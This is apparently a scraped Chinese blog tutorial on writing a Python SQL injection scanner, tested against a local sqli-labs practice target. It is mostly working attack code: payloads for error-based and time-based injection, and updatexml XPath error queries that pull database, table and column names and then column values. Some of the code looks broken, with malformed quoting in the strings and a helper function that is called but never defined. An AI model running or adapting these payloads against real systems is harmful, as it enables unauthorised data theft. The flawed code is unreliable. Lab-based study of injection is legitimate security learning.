编写sql-hunpi

Posted hunpi

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了编写sql-hunpi相关的知识,希望对你有一定的参考价值。


  借鉴SQLMap,参数最好设置为一个字典。

demo

  单Get参数,检测漏洞是否存在。
跳过设置参数环节,只用url发起请求。

漏洞探测

#!/usr/bin/env python
# -*- coding:UTF-8 -*-

import requests
import time

# 对参数进行处理

## 报错测试
def error_inject(url, param):
    param = param + "'\\","
    url = url+'?'+param
    r = requests.post(url)
    if("error" in r.text):
        print("存在报错注入。Payload:", url)

## 延迟盲注测试
def time_now():     # 计算当前时间并返回
    return time.time()

def time_inject(url, param):
    timeInject = [              # Get参数需要URL编码,否则没有反应
        " and sleep(5)",
        "' and sleep(5)%23",
        "\\" and sleep(5)%23"
               ]
    for x in timeInject:
        tempParam = param + x   # 保留url和param,便于遍历
        tempUrl = url + '?' + tempParam

        before_time = time_now()
        r = requests.post(tempUrl)
        after_time = time_now()

        if after_time - before_time > 5:
            print("存在延迟注入。", end="")
            print("Payload:", tempUrl)
            break

url = "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"

# 处理url,分离域名和参数
data = url.split('?')
url = data[0]               # 保留域名的url
param = data[1]

error_inject(url, param)
time_inject(url, param)

  测试效果:
在这里插入图片描述

查询当前库名和表名

  需要测试闭合方式,只测试4种。如果是报错注入的话,可以判断网页是否有"error"字符;如果是延迟注入,可以判断是否延迟,然后对poc进行简单处理,拼接上后续的exp。
  省略这部分,先使用延迟注入的payload,对接上部分漏洞探测。

	error_inject(url, param)
	time_poc = time_inject(url, param)

    # 获取成功延迟注入的语句,截取到空格部分作为基础的已经闭合的语句
    if(time_poc != 0):
        baseurl = time_poc[:time_poc.find(' ')]
        print(baseurl)

  先考虑xpath报错注入。库名、用户、配置项。查当前库好说,查当前库的表好说。但查列名、查列值需要指定表名和列名。

  获取baseurl后,拼接payload、发起请求,处理字符串。
xpath报错注入,返回的信息例如XPATH syntax error: '~security'。因为xpath只能输出32位字符,所以使用str.find()寻找XPATH syntax error。使用.find()定位~,再从~开始。

def xpath_inject(baseurl):
    database_exp = "and(select updatexml(1,concat('~',(select database())),1))%23"
    r = requests.post(baseurl + database_exp).text
    position1 = r.find("XPATH syntax error")  # 定位报错信息,截取的字符串开始部分,就是r[position1:]。
    position2 = r[position1 + 22:].find("'")
    result = r[position1:position1 + 22 + position2 + 1]
    print("当前数据库:", result)

    table_exp = [
        "and (select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31)),1))%23",
        "and (select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31)),1))%23",
        "and (select updatexml(1,concat('~',substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),63,31)),1))%23"
    ]

    table_name = ""
    for x in table_exp:
        r = requests.post(baseurl+x).text
        position1 = r.find("XPATH syntax error") # 定位报错信息,截取的字符串开始部分,就是r[position1:]。
        position2 = r[position1+22:].find("'")
        result = r[position1:position1+22+position2+1]
        if(result != "XPATH syntax error: '~'"):
            table_name += result
    print("当前数据库的表名:", table_name)

  测试效果:
在这里插入图片描述

查列名和列值

  输入指定表名,查询表中的列名。输入指定表名和列名,查询列值。
对xpath报错注入使用while(true)语句,前面查询表名的操作也进行了修改。
  值得注意的是,需要保留闭合语句,方便查询列名和列值。

def columnName(baseurl, table_name):
    column_name = ""
    count = 0
    while(True):
        start = 1 + count*31
        columnName_exp = "and (select updatexml(1,concat('~',substr((select group_concat(column_name) from information_schema.columns where table_name='{}'),{},31)),1))%23".format(table_name, start)

        r = requests.post(baseurl+columnName_exp).text
        result = get_xpath(r)

        if (result == "XPATH syntax error: '~'"):
            break
        else:
            count += 1
            result = result.replace("XPATH syntax error: ", "")
            column_name += result

    column_name = column_name.replace("~", "")
    column_name = column_name.replace("'", "")
    print(table_name, "表包含的列:", column_name)

  测试效果:
在这里插入图片描述  报错注入查列值:

def column_value(baseurl, table_name, column_name):
    count = 0
    columnValue = ""
    while (True):
        start = 1 + count * 31
        columnValueExp = "and(select updatexml(1,concat('~',substr((select group_concat({}) from {}),{start},31)),1))%23".format(column_name, table_name, start=start)
        #print(baseurl+columnValueExp)
        r = requests.post(baseurl+columnValueExp).text
        #print(r)
        result = get_xpath(r)
        # print(result)
        # print(count)
        if (result == "XPATH syntax error: '~'"):
            break
        else:
            count += 1
            result = result.replace("XPATH syntax error: ", "")
            columnValue += result

    print(column_name, "列的值:", columnValue)

  测试效果:
在这里插入图片描述


为demo增加功能

  

测试黑名单

  

  


参考

  

  

  

以上是关于编写sql-hunpi的主要内容,如果未能解决你的问题,请参考以下文章

编写代码片段的更简洁的方法

VS Code配置snippets代码片段快速生成html模板,提高前端编写效率

我们可以在活动 xml 中编写 UI 以及在片段 xm 中编写 UI 吗?

片段中 ListView 的 setOnItemClickListener

Huawei_Netconf_Ncclient

片段中ListView的setOnItemClickListener